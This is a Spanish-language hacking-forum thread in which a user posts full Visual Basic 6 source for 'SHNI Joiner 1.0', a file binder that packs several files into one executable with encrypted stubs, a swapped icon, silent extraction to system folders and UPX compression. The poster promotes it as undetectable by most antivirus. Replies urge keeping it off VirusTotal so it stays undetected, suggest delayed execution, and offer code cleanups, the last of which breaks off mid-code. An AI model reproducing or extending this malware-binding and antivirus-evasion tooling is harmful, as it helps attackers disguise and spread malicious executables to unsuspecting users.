| |
Páginas: [1] 2
|
 |
|
Autor
|
Tema: [Source] SHNI Joiner 1.0 (Leído 1027 veces)
|
Hacker_Zero
Desconectado
Mensajes: 212
Nunca digas es imposible....
|
Bueno, aquí os dejo código fuente completo del SHNI Joiner junto con el de los stubs. Está programado en VB6, que lo disfrutéis. ¿Que es SHNI Joiner?Bueno, aquí os presento esta herramienta llevada a cabo en el lab de eduhack.es y que a día de hoy debería ser indetectable a la gran mayoría de antivirus (haber cuanto dura). SHNI Joiner es un juntador de archivos capaz de unir cualquier cantidad de archivos en un único ejecutable. Capturas:  Características:- Todos los stubs están incluidos en el exe del Joiner.
- Permite juntar archivos de cualquier formato.
- Permite añadir infinitos archivos en 1 único ejecutable.
- Nos anticipa el peso del ejecutable final.
- Permite encriptar el contenido de ejecutable usando 2 tipos de encriptación (scantime).
- Cuenta con 3 Stubs, por lo que los AV tardarán un poco más en detectarlos todos.
- Permite cambiar el icono del ejecutable final.
- Permite elegir la ruta donde se extraerán los archivos.
- Permite comprimir el ejecutable final con UPX.
Mejoras para la versión 2.0:- Los stubs serán programados en ASM.
- Código más rápido y eficiente y menos pesado.
- Alguna buena sorpresa

http://www.eduhack.es/descargas/SHNI_Joiner_Source.zip También dejo el Código Fuente aquí para que todos tengáis acceso a él directamene y así poder opinar al respecto así como dar recomendaciones o críticas: Código Fuente del Form Principal:'/////////////////////////////////////////////////////////////////// '// '// '// SHNI Joiner 1.0 by www.eduhack.es '// '// '// '// Este souce ha sido creado en el laboratorio eduahack.es '// '// se permite su modificación y su posteo en otros lugares '// '// siempre y cuando se mantenga la fuente. '// '// '// '/////////////////////////////////////////////////////////////////// 'Decalramos varibles Dim cSubLV As cSubclassListView Dim tamaño As String Dim tamaño2 As String Dim StubSin() As Byte 'Contendrá los bytes del StubSin Dim StubStr() As Byte 'Contendrá los bytes del StubStr Dim StubHuf() As Byte 'Contendrá los bytes del StubHuf Dim UPX() As Byte 'Contendrá los bytes del UPx Private Sub acercade_Click(Index As Integer) FrmAcercade.Show 'Mostramos el form Acerca de End Sub Private Sub form_load() 'Comprobamos si el exe ya está abierto If App.PrevInstance Then MsgBox "La aplicación ya está abierta", vbInformation, "SHNI Joiner 1.0" End End If '////////////////////////////////////////////////////////////////////// Label1.Caption = "Tamaño Total: 20 KB" tamaño = "20" 'Aplicamos el skin al Listview Set cSubLV = New cSubclassListView cSubLV.SubClassListView lv cSubLV.SkinPicture = ImageList1.ListImages.item(1).Picture cSubLV.TextNormalColor = vbBlack cSubLV.TextResalteColor = vbBlack '///////////////////////////////////////////////////////////////////// 'Iniciamos la aparición del Formulario If Not Transparencia(Me.hwnd, 0) = 0 Then MsgBox " Esta función Api no es soportada en Versiones" _ & "anteriores a windows 2000", vbCritical Me.Show Else Me.Enabled = False Me.Show Dim i As Integer For i = 0 To 255 Step 2 Call Transparencia(Me.hwnd, i) DoEvents Next i Me.Enabled = True End If '//////////////////////////////////////////////////////////////////// 'Cargamos los recursos del .res en las variables StubSin = LoadResData(101, "CUSTOM") StubStr = LoadResData(102, "CUSTOM") StubHuf = LoadResData(103, "CUSTOM") UPX = LoadResData(104, "CUSTOM") '//////////////////////////////////////////////////////////////////// 'Valores iniciales de las variables Ificono = "No" taskkill = "No" Comprimir = "No" stub = "Sin" rutaext = "Windows" End Sub 'Si pulsamos el boton añaidr agregamos el archivo al Listview y sumamos su tamaño 'al tamaño final del exe Private Sub añadir_Click() cd.DialogTitle = "Selecciona el archivo a juntar" cd.Filter = "Todos los archivos *.*|*.*" cd.FileName = "" cd.ShowOpen If cd.FileName <> "" Then With lv.ListItems.Add(, , cd.FileName) .SubItems(1) = Val((FileLen(cd.FileName)) / Val("1024")) & " Kb" End With tamaño2 = (Val(FileLen(cd.FileName))) / (Val("1024")) tamaño = Val(tamaño) + Val(tamaño2) Label1.Caption = "Tamaño Total: " + tamaño + " KB" End If End Sub 'Si puslamos el boton eliminar eliminamos el item seleccionado y restamos su tamaño 'al tamaño final Private Sub eliminar_click() If lv.ListItems.Count = 0 Then MsgBox "No hay elementos que eliminar", vbInformation, "SHNI Joiner 1.0" Else tamaño2 = Val((FileLen(lv.SelectedItem.Text)) / Val("1024")) tamaño = Val(tamaño) - Val(tamaño2) Label1.Caption = "Tamaño Total: " + tamaño + " KB" lv.ListItems.Remove (lv.SelectedItem.Index) End If End Sub Private Sub compilar_Click() 'Si hay menos de 2 archivos en el listview If lv.ListItems.Count < 2 Then MsgBox "Debes seleccionar al menos 2 archivos para juntar", vbInformation, "SHNI Joiner 1.0" Else Dim Ext As String Dim SubFirma As String Dim Firma As String Dim Ruta As String Dim Datos As String Dim spartes As Variant Dim valor As Double Firma = "Hacker_Zero" SubFirma = "*^*^*^*" 'Abrimos el CDialog cd.FileName = "" cd.Filter = "Archivos Ejecutables (*.exe)|*.exe" cd.ShowSave If cd.FileName <> "" Then Ruta = cd.FileName 'Esto nos permitirá usar la progressbar durante la compilación mediante una regla 'de tres valor = 100 / (2 * lv.ListItems.Count) 'Si el stub seleccionado es el Sin encriptación If stub = "Sin" Then Open Ruta For Binary As #1 'Creamos el StubSin en la ruta especificada Put #1, , StubSin Close #1 'Si hay que cambiar el icono se lo cambiamos If Ificono = "Si" Then ReplaceIcons Icono, Ruta, error End If For n = 1 To lv.ListItems.Count 'Leemos cada uno de los items del listview 'Obtenemos la extensión del archivo SplitPath lv.ListItems.item(n).Text, lv.ListItems.item(n).Text, , Ext Open lv.ListItems.item(n) For Binary As #1 'Leemos el archivo y lo almacenamos en Datos Datos = Space(LOF(1)) Get #1, , Datos Close #1 Progreso.Value = Progreso.Value + valor 'Añadimos el valor a la progressbar Open Ruta For Binary As #1 'Añadimos al StubSin los datos obtenidos separados por firmas Seek (1), LOF(1) + 1 Put #1, , Firma Put #1, , Datos Put #1, , SubFirma Put #1, , Ext Put #1, , SubFirma Put #1, , rutaext Close #1 Progreso.Value = Progreso.Value + valor Next n 'Asi con todos los items End If 'Si el stub seleccionado es StubStr If stub = "Str" Then Open Ruta For Binary As #1 'Copiamos el stub a la ruta especificada Put #1, , StubStr Close #1 If Ificono = "Si" Then 'Si hay que cambiar el icono se lo cambiamos ReplaceIcons Icono, Ruta, error End If For i = 1 To lv.ListItems.Count 'Leemos cada uno de los items del listview 'Obtenemos la extensión del archivo SplitPath lv.ListItems.item(i).Text, lv.ListItems.item(i).Text, , Ext Open lv.ListItems.item(i) For Binary As #1 'Leemos el archivo Datos = Space(LOF(1)) Get #1, , Datos Close #1 Datos = StrReverse(Datos) 'Encriptamos el contenido con StrReverse Progreso.Value = Progreso.Value + valor 'Añadimos el valor al progreso Open Ruta For Binary As #1 'Guardamos los datos en en Stub separados por firmas Seek (1), LOF(1) + 1 Put #1, , Firma Put #1, , Datos Put #1, , SubFirma Put #1, , Ext Put #1, , SubFirma Put #1, , rutaext Close #1 Progreso.Value = Progreso.Value + valor 'Añadimos el valor la progressbar Next i End If If stub = "Huf" Then 'Si es Stub seleccionado es StubHuf 'Guardamos el Stub en la ruta especificada Open Ruta For Binary As #1 Put #1, , StubHuf Close #1 If Ificono = "Si" Then 'Si hay que cambiar el icono se lo cambiamos ReplaceIcons Icono, Ruta, error End If For z = 1 To lv.ListItems.Count 'Leemos cada uno de los items del Listview 'Obtenemos la extensión del archivo SplitPath lv.ListItems.item(i).Text, lv.ListItems.item(i).Text, , Ext Open lv.ListItems.item(i) For Binary As #1 'Leemos el archivo Datos = Space(LOF(1)) Get #1, , Datos Close #1 Progreso.Value = Progreso.Value + valor 'Añadimos el valor a la progressbar Datos = HuffmanEncode(Datos, True) 'Encriptamos el archivo Open Ruta For Binary As #1 'Guardamos en el Stub los datos separados por firmas Seek (1), LOF(1) + 1 Put #1, , Firma Put #1, , Datos Put #1, , SubFirma Put #1, , Ext Put #1, , SubFirma Put #1, , rutaext Close #1 Progreso.Value = Progreso.Value + valor Next z End If If Comprimir = "Si" Then 'Si hay que comprimir con UPX lo hacemos Open "C:\UPX.exe" For Binary As #1 'Creamos el UPX.exe en C: Put #1, , UPX Close #1 Shell ("C:\upx.exe --best " + Ruta), vbHide 'Comprimimos el archivo con UPX End If MsgBox "Proceso Finalizado Correctamente", vbInformation, "Shni Joinner 1.0" Progreso.Value = 0 End If End If End Sub Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer) 'Si cerramos iniciamos la desaparición del formulario If Not Transparencia(Me.hwnd, 0) = 0 Then Exit Sub Else Dim i As Integer For i = 255 To 0 Step -3 DoEvents Call Transparencia(Me.hwnd, i) DoEvents Next End If 'Borramos el UPX.exe Kill "C:\upx.exe" End Sub 'Ir a la página oficial Private Sub oficial_Click(Index As Integer) ShellExecute Me.hwnd, "Open", "http://www.eduhack.es", &O0, &O0, SW_NORMAL ShellExecute Me.hwnd, "Open", "http://www.eduhack.es/foro", &O0, &O0, SW_NORMAL End Sub 'Mostramos el Formulario de Opciones Private Sub opciones_Click() FrmOpciones.Show End Sub Código Fuente del Form Opciones:Private Sub aceptar_Click() 'Si aceptamos guardamos las opciones If Option4.Value = True Then Ificono = "Si" Else Ificono = "" End If If Check4.Value = Checked Then Comprimir = "Si" Else Comprimir = "" End If If Option6.Value = True Then stub = "Str" End If If Option7.Value = True Then stub = "Huf" End If If Option8.Value = True Then stub = "Sin" End If If Option1.Value = True Then rutaext = "Windows" End If If Option2.Value = True Then rutaext = "System32" End If If Option3.Value = True Then rutaext = "ProgramFiles" End If Unload Me End Sub Private Sub examinar_Click() 'Examinamos el icono On Error GoTo error cd.FileName = "" cd.Filter = "Iconos (*.ico)|*.ico" cd.ShowOpen If cd.FileName <> "" Then Image1.Picture = LoadPicture(cd.FileName) Icono = cd.FileName Else Image1.Picture = Nothing Option5.Value = True End If Exit Sub error: MsgBox "Icono no válido", vbCritical, "SHNI Joinner 1.0" Option5.Value = True End Sub Private Sub form_load() 'Iniciamos aparicion del formulario If Not Transparencia(Me.hwnd, 0) = 0 Then MsgBox " Esta función Api no es soportada en Versiones" _ & "anteriores a windows 2000", vbCritical Me.Show Else Me.Enabled = False Me.Show Dim i As Integer For i = 0 To 255 Step 2 Call Transparencia(Me.hwnd, i) DoEvents Next i Me.Enabled = True End If FrmPrincipal.Enabled = False 'Inhabilitamos el Formulario Principal End Sub Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer) 'Iniciamos la desaparición del formulario If Not Transparencia(Me.hwnd, 0) = 0 Then Exit Sub Else Dim i As Integer For i = 255 To 0 Step -3 DoEvents Call Transparencia(Me.hwnd, i) DoEvents Next End If Unload FrmOpciones 'Descargamos el formulario FrmPrincipal.Enabled = True 'Habilitamos el formulario principal End Sub Private Sub Option4_Click() examinar.Enabled = True End Sub Private Sub Option5_Click() examinar.Enabled = False End Sub Código Fuente del Módulo Transparencia:Private Declare Function SetLayeredWindowAttributes Lib "user32" _ (ByVal hwnd As Long, _ ByVal crKey As Long, _ ByVal bAlpha As Byte, _ ByVal dwFlags As Long) As Long ' Funciones api para los estilos de la ventana Private Declare Function GetWindowLong Lib "user32" Alias "GetWindowLongA" _ (ByVal hwnd As Long, _ ByVal nIndex As Long) As Long Private Declare Function SetWindowLong Lib "user32" Alias "SetWindowLongA" _ (ByVal hwnd As Long, _ ByVal nIndex As Long, _ ByVal dwNewLong As Long) As Long 'constantes Private Const GWL_EXSTYLE = (-20) Private Const LWA_ALPHA = &H2 Private Const WS_EX_LAYERED = &H80000 ' Función que recibe el handle de la ventana y el valor para aplciar la _ transparencia Public Function Transparencia(ByVal hwnd As Long, valor As Integer) As Long On Local Error GoTo errSub Dim Estilo As Long If valor < 0 Or valor > 255 Then Transparencia = 1 Else Estilo = GetWindowLong(hwnd, GWL_EXSTYLE) Estilo = Estilo Or WS_EX_LAYERED SetWindowLong hwnd, GWL_EXSTYLE, Estilo 'Aplica el nuevo estilo con la transparencia SetLayeredWindowAttributes hwnd, 0, valor, LWA_ALPHA Transparencia = 0 End If If Err Then Transparencia = 2 End If Exit Function errSub: MsgBox Err.Description, vbCritical, "Error" End Function Módulo para Extraer Extensiones:Public Sub SplitPath(ByVal sTodo As String, sPath As String, Optional vNombre, Optional vExt) '---------------------------------------------------------------- 'Divide el nombre recibido en la ruta, nombre y extensión '(c)Guillermo Som, 1997 ( 1/Mar/97) ' 'Esta rutina aceptar? los siguientes par?metros: 'sTodo Valor de entrada con la ruta completa 'Devolver la información en: 'sPath Ruta completa, incluida la unidad 'vNombre Nombre del archivo incluida la extensión 'vExt Extensi?n del archivo ' 'Los par?metros opcionales sólo se usarán si se han especificado '---------------------------------------------------------------- Dim bNombre As Boolean 'Flag para saber si hay que devolver el nombre Dim i As Integer If Not IsMissing(vNombre) Then bNombre = True vNombre = sTodo End If If Not IsMissing(vExt) Then vExt = "" i = InStr(sTodo, ".") If i Then vExt = Mid$(sTodo, i + 1) End If End If sPath = "" 'Asignar el path For i = Len(sTodo) To 1 Step -1 If Mid$(sTodo, i, 1) = "\" Then sPath = Left$(sTodo, i - 1) 'Si hay que devolver el nombre If bNombre Then vNombre = Mid$(sTodo, i + 1) End If Exit For End If Next End Sub Módulo Variables Públicas:Public Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long Public Icono As String Public Ificono As String Public stub As String Public rutaext As String Public Comprimir As String Además en el source completo está el módulo PE, el Módulo IconChanger, el módulo para la encriptación Huffman y el módulo para el skin del listview donado por LeandroA. Saludos
|
|
|
|
« Última modificación: 18 Junio 2008, 00:46 por Hacker_Zero »
|
En línea
|
¿Te interesa este mundo? Puedes aprender a programar en Visual Basic aquí y a programar Malware aquí
|
|
|
Kizar
Desconectado
Mensajes: 1.320
kizar_net
|
Se puede mejorar bastante.
|
|
|
|
|
En línea
|
|
|
|
Karcrack
Desconectado
Mensajes: 291
Se siente observado ¬¬'
|
Muy bueno, me esperare a la siguiente version, que esta no tiene nada de especial frente a otros joiners  Porcierto, yo le añadiria la diferencia de ejecucion esa... lo de que se ejecuta un fichero mas tarde segun el tiempo que eligas de retraso, no se si me he expresado bien  Se puede mejorar bastante.
Eso si que es una critica constructiva 
Saludos 
|
|
|
|
|
En línea
|
|
|
|
Kizar
Desconectado
Mensajes: 1.320
kizar_net
|
Lo que quiero decir es que limpie el código, no esta muy desordenado, pero se puede reducir 1/3 por lo menos...
|
|
|
|
|
En línea
|
|
|
|
Hacker_Zero
Desconectado
Mensajes: 212
Nunca digas es imposible....
|
Ya dije que este joiner es como la v0.1 de la que será el joiner en si, esto no es más que una mera estructura que posteé y comenté bastante para los que no sepan hacer un simple joiner de este tipo. Creo que la segunda versión será totalmente en ASM, tanto el joiner como los stubs. Críticas (constructivas  ), sugerencias y recomendaciones son bienvenidas. Saludos PD- Supongo que a lo que se refiere Kizar es que al tener tres Stubs repite el el mismo código tres veces sacando unas pequeñas diferencias y que se podría repetir uno solo.
|
|
|
|
« Última modificación: 16 Junio 2008, 18:59 por Hacker_Zero »
|
En línea
|
¿Te interesa este mundo? Puedes aprender a programar en Visual Basic aquí y a programar Malware aquí
|
|
|
Kizar
Desconectado
Mensajes: 1.320
kizar_net
|
Entre otras cosas, pero no es solo eso sino la mitad de código de el programa sobra y cuando digo que sobra no es que no funcione, es que se puede hacer lo mismo de otra manera en la mitad de lineas-tiempo. Ser ordenado y optimizar el código es tan importante como que el programa funcione... Ademas digamos que se ha hecho una reforma y ahora solo se pueden postear sources, pues yo creo que deberían ser modélicos para que la gente pueda aprender de algo bien hecho.
PD: Siento si soy muy duro, pero las criticas aunque sean constructivas lo son...
|
|
|
|
|
En línea
|
|
|
|
Hacker_Zero
Desconectado
Mensajes: 212
Nunca digas es imposible....
|
Nunca dije que el code fuera perfecto ni que no se puediera optimizar, salvo ordenarlo un poco y comentarlo no le hice nada más. Es un proyecto Open Source cualquiera puede modificarlo, a Kizar seguro no le interese ya que supongo que no le interesarán los joiners, pero hay gente que no sabe, cualquier sugerencia de optimización del código o cualquier reforma que hagáis está permitida y es bienvenida. Saludos PD- Si los códigos tienen que ser ejemplares, vais a postear 10 gatos en el subforo, es una recomendación, no una crítica 
|
|
|
|
|
En línea
|
¿Te interesa este mundo? Puedes aprender a programar en Visual Basic aquí y a programar Malware aquí
|
|
|
Kizar
Desconectado
Mensajes: 1.320
kizar_net
|
Si no me interesara no abria bajado tu code y echado un ojo a tu programa, lo que no voy a hacer porque no tengo tiempo es modificar tu programa entero y volverle a subir. Seria mas cómodo que en un mensaje se posteara todo el code escrito y que todos lo pudieran modificar todos los registrados, eso seria open source de verdad.
|
|
|
|
|
En línea
|
|
|
|
|
|
Kizar
Desconectado
Mensajes: 1.320
kizar_net
|
Seria mas cómodo que en un mensaje se posteara todo el code escrito y que todos lo pudieran modificar todos los registrados, eso seria open source de verdad.
Se te olvido lo mas importante, solo los admin pueden modificar tu post xD
|
|
|
|
|
En línea
|
|
|
|
Hacker_Zero
Desconectado
Mensajes: 212
Nunca digas es imposible....
|
Yo no puedo hacer más xD, aunque eso sí sería una buena idea. Sólo nos queda que cada uno postee la modificación que le haría  Saludos
|
|
|
|
|
En línea
|
¿Te interesa este mundo? Puedes aprender a programar en Visual Basic aquí y a programar Malware aquí
|
|
|
|
|
Hacker_Zero
Desconectado
Mensajes: 212
Nunca digas es imposible....
|
Bueno, eso es inevitable, pero al ser open source, no es difícil volver a hacerlo indetectable  Saludos
|
|
|
|
|
En línea
|
¿Te interesa este mundo? Puedes aprender a programar en Visual Basic aquí y a programar Malware aquí
|
|
|
K-19
Desconectado
Mensajes: 464
Sarah Wayne
|
 hola este joiner esta bueno aunque no tenga de todo  Ah aclaren una cosa porque sino va a pasar lo mismo que con todos los otros joiners,aclaren que no hay que subirlo a ninguna pagina ej: virustotal. Chau y suerte  Pero ahora este foro ya no es lo de antes, este joiner es open source, no creo que alguien vaya a subir el joiner ya compilado... eso pasaría con gente que no sabe ni compilar... y si se vuelve detectable ya sabes, tienes el source...
|
|
|
|
|
En línea
|
|
|
|
Kizar
Desconectado
Mensajes: 1.320
kizar_net
|
Cada dia que tenga un rato voy a ir haciendo modificaciones considerables y las voy a ir poniendo. Hoy he empezado por aqui, yo creo que de esta manera queda mas bonito y no se repite tanto el codigo. Cambie la funcion de añadir y borrar archivos de la lista y cree dos funciones que pueden ser llamadas desde cualquier sitio para cambiar de unidades y para actualizar el tamaño total en cualquier momento. '******************************************* '*** Programado por Kizar '*******************************************
'Si pulsamos el boton añadir agregamos el archivo al listview Private Sub añadir_Click() cd.DialogTitle = "Selecciona el archivo a juntar" cd.Filter = "Todos los ar | | | | |